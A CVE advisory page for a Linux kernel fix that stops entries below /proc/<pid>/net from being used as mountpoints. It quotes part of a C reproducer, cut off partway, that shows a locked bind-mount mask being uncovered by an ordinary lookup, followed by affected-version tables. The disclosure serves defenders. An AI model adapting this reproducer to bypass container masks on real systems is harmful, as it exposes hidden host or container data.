Description

In the Linux kernel, the following vulnerability has been resolved: proc: don't let an entry below /proc//net be a mountpoint proc_net_d_revalidate() always returns 0 so that a dentry below /proc//net is never reused after setns(). So lookup_fast() will end up calling d_invalidate(), which unhashes the dentry and detaches every mount on it, in every mount namespace; including locked mounts. Then lookup_slow() creates a new dentry for the same entry. So a mount on /proc//net/dev succeeds and goes away with the first lookup of the name by anybody with search permission on the directory. Given it's 0555 that's everyone's grandma. A mask on such a name hides nothing as the repro below shows. Treat those entries like I did fd/, fdinfo/ and map_files/ and refuse to mount on them in the first place. It's nonsensical theater otherwise: procnet net/dev stat // SPDX-License-Identifier: GPL-2.0 /* * procnet: cover an entry of /proc// with a bind mount, lock the mount, * then look the name up. * * The first task stays alive, is its pid. The "container" task has its * own mount namespace. There it binds a mask on /proc//. It drops to * uid 1000 and enters a new user namespace with a new mount namespace, so that * the mask is locked. Then one task looks the name up: * * stat the container calls stat() on the name * umount the container calls umount2(MNT_DETACH) on the name * nobody a task with uid 65534 in the first namespaces calls stat() * * The container lists its mounts before and after (that does not look the * name up) and then reads the name. MASK is fine. Anything else means that * the lookup uncovered the entry. * * usage: procnet stat|umount|nobody * name "status" is the control, "net/dev" is a file below net, "net/stat" is * a directory below net */ #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #define WORK "/run/pn" static char target[128]; static void die(const char *what) { fprintf(stderr, "FATAL %s: %s\n", what, strerror(errno)); exit(2); } static void write_str(const char *path, const char *s, int flags) { int fd = open(path, O_WRONLY | flags, 0644); if (fd < 0 || write(fd, s, strlen(s)) < 0) die(path); close(fd); } /* list the mounts below /proc without a lookup of the target */ static void mounts(const char *when) { char line[512]; FILE *f = fopen("/proc/self/mountinfo", "r"); int n = 0; if (!f) die("mountinfo"); while (fgets(line, sizeof(line), f)) { if (!strstr(line, " /proc/")) continue; printf("container: %s: mount: %s", when, line); n++; } fclose(f); if (!n) printf("container: %s: nothing is mounted below /proc\n", when); } static void show(const char *when, int isdir) { char buf[48] = ""; int fd; if (isdir) { struct dirent *de; DIR *d = opendir(target); int hit = 0; if (!d) { printf("container: %s: opendir(%s) = %s\n", when, target, strerror(errno)); return; } printf("container: %s: readdir(%s) =", when, target); while ((de = readdir(d))) { if (de->d_name[0] == '.') continue; printf(" %s", de->d_name); hit |= strcmp(de->d_name, "MASK"); } closedir(d); printf("%s\n", hit ? " <-- HIT" : ""); return; } fd = open(target, O_RDONLY); if (fd < 0) { printf("container: %s: open(%s) = %s\n", when, target, strerror(errno)); return; } if (read(fd, buf, sizeof(buf) - 1) < 0) die("read"); close(fd); if (strchr(buf, '\n')) *strchr(buf, '\n') = 0; printf("container: %s: read(%s) = \"%s\"%s\n", when ---truncated---

Affected products

VendorProductVersions
LinuxLinux1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <a596be2ec595c51c8aaf04eea9bd9ccb1959284c [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <141294337bea78c9adacc0555273e6aca2f8eb74 [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <624835b96e86f39708c680ba99dfe5d4bf1c819f [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <ab4efbf1f0d64763f2ba48a429c90306fecf6dcd [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <e83abe6bb7fea184518973773eff55301bd460f9 [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <594a389f90686159f4a2198f370b43fcec01fdec [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <aece5f74f1e4a112f52adcc2af9b888ab2072562 [affected]; 1fde6f21d90f8ba5da3cb9c54ca991ed72696c43 to <eeecea75ece2ba894bee4d3c53ed2e40abda8f0e [affected]; 845d73be1b4cba6c353e99f79eff0f17e0d7c1d8 [affected]; 84f5605a34a21fca82460648560d5135795389d7 [affected]; 4.19.29 to <4.20 [affected]; 4.20.16 to <4.21 [affected]
LinuxLinux5.0 [affected]; 0 to <5.0 [unaffected]; 5.10.275 to <=5.10.* [unaffected]; 5.15.226 to <=5.15.* [unaffected]; 6.1.193 to <=6.1.* [unaffected]; 6.6.163 to <=6.6.* [unaffected]; 6.12.119 to <=6.12.* [unaffected]; 6.18.63 to <=6.18.* [unaffected]; 7.3.4 to <=7.3.* [unaffected]; 7.4-rc1 to <=* [unaffected]

References

Authoritative sources

This page is a snapshot. For the latest enrichment and updates, view the record on CVE.org or the NVD.

Assess this vulnerability

Compare your deployed product and version with the source record. Review vendor references for fixes and workarounds. A CVSS score describes technical severity; it does not establish that your systems are affected or that exploitation has occurred.

Browse all CVE security advisories · Symaro cybersecurity services

Generated from the official CVE List on 01 Dec 2026 08:04 UTC.